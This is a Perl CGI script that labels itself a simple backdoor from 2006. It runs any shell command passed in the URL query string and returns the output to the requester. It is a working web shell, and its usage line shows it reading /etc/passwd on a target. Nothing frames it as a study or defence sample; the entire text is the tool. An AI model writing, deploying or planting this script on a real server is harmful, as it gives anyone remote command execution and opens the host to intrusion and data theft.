#!/usr/bin/perl -wuse strict;print "Cache-Control: no-cache\n";print "Content-type: text/html\n\n";my $req = $ENV{QUERY_STRING}; chomp ($req); $req =~ s/%20/ /g; $req =~ s/%3b/;/g;print "";print '<!-- Simple CGI backdoor by DK (http://michaeldaw.org) -->'; if (!$req) { print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd"; } else { print "Executing: $req"; } print "<pre>"; my @cmd = `$req`; print "</pre>"; foreach my $line (@cmd) { print $line . "<br/>"; }print "";# <!-- http://michaeldaw.org 2006 -->